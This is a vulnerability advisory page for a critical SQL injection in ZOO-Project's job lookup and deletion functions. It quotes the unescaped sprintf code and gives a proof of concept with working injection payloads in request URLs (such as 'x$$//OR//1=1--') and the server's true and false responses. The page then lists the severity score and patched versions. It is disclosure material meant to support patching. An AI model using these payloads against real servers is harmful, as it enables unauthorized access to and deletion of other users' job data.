CVE Watchtower

CVE-2026-104862ZOO-Project SQL Injection

NVD

Vulnerability Summary

Summary Every function that looks up a job record by its identifier (`getStatusId`, `removeService`, `isRunning`, `_getStatus`, `_getStatusField`, `_getStatusFile`, `unhandleStatus`, `readFinalRes` in `sqlapi.c`) builds its SQL query by `sprintf` the client-supplied job ID directly inside a PostgreSQL dollar-quoted string literal (`$$...$$`), with no escaping and no rejection of a literal `$$` in the input. Confirmed live via boolean-based blind SQL injection: an attacker can locate and interact with any job on the server without ever knowing its real UUID. Details `zoo-project/zoo-kernel/sqlapi.c:869-872` (`getStatusId`): ```c char pcaSqlQuery=(char)malloc((strlen(pmSchema->value)+strlen(pcPid)+42+1)sizeof(char)); sprintf(pcaSqlQuery, "select osid from %s.services where uuid=$$%s$$", pmSchema->value, pcPid); ``` `zoo-project/zoo-kernel/sqlapi.c:817-819` (`removeService`, the `Dismiss`/`DELETE /jobs/{jobId}` sink): ```c sprintf(pcaSqlQuery, "DELETE FROM %s.services where uuid=$$%s$$;", pmSchema->value, pcPid); ``` `pcPid` (the job ID) is embedded with no escaping; a value containing `$$` terminates the dollar-quoted literal early, and everything after it becomes live SQL. The `uuid` column is `TEXT`, not the native `uuid` type, so there is no type-level rejection of non-UUID-shaped input either. Source: `zoo_service_loader.c:3374-3393` (`GET /jobs/{jobId}`, only checks `strlen(jobId)==36`, a length check not a content check) and `zoo_service_loader.c:3304-3312` (`DELETE /jobs/{jobId}`, `jobId = zStrdup(pcTmp+6)`, no check at all). PoC Setup: `docker/dru` deployment (`zooproject/zoo-project:dru-latest`), a real job created via `Execute&Identifier=echo&...&storeExecuteResponse=true&status=true`, confirmed (via server logs) inserted into `public.services` as `uuid=052e77ca-7f40-11f1-a41b-eec393600039`, `status=running`. 1. Confirm the real job is reachable by its actual ID: ``` GET /admin/ogc-api/jobs/052e77ca-7f40-11f1-a41b-eec393600039 -> HTTP 200 {"id":"052e77ca-...","processID":"echo","status":"running", ...} ``` 2. Confirm a syntactically-valid but wrong ID is cleanly rejected: ``` GET /admin/ogc-api/jobs/00000000-0000-0000-0000-000000000000 -> HTTP 404 {"title":"NoSuchJob","detail":"The JobID from the request does not match any of the Jobs running on this server"} ``` 3. Inject a TRUE boolean clause using an ID the attacker does not know and did not supply correctly (Apache itself 403s on a literal space in the URL path - `//` SQL-comment syntax substitutes for whitespace; this works around an HTTP-layer quirk, not the application): ``` GET /admin/ogc-api/jobs/x%24%24//OR//1=1-- (decodes to job id: x$$ OR 1=1-- query becomes: ...where uuid=$$x$$ OR 1=1--$$ -> always true) -> HTTP 404 {"title":"ResultNotReady","detail":"The job is still running."} ``` 4. Same request with a FALSE injected clause, otherwise identical: ``` GET /admin/ogc-api/jobs/x%24%24//OR/*/1=2-- -> HTTP 404 {"title":"NoSuchJob","detail":"The JobID from the request does not match any of the Jobs running on this server"} ``` Impact Unauthorized read of any job's status/results without knowing its UUID (confirmed live), and via the identical unescaped concatenation sink in `removeService()`
Severity Level
CRITICAL(9.8)
Published Date
Jul 28, 2026
Last Modified
Jul 28, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
Improper neutralization of special elements used in an SQL command, allowing attackers to modify queries.
CVSS v3.1 Base Metrics — Score 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh

Affected & Patched Versions

Affected Versions
  • ZOO-Project <= main afc0403
Patched Versions
  • ZOO-Project 8b3d76c

What to do

Plan remediation soon. No exploitation is confirmed yet, but the severity is critical.

  1. Check whether you run ZOO-Project and which version.
  2. Update to a patched version listed above, then confirm the new version.

Timeline

  • Jul 28, 2026Published
  • Jul 28, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new ZOO-Project CVEsYou are reading CVE-2026-104862. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Nov 25, 2026 14:00 UTC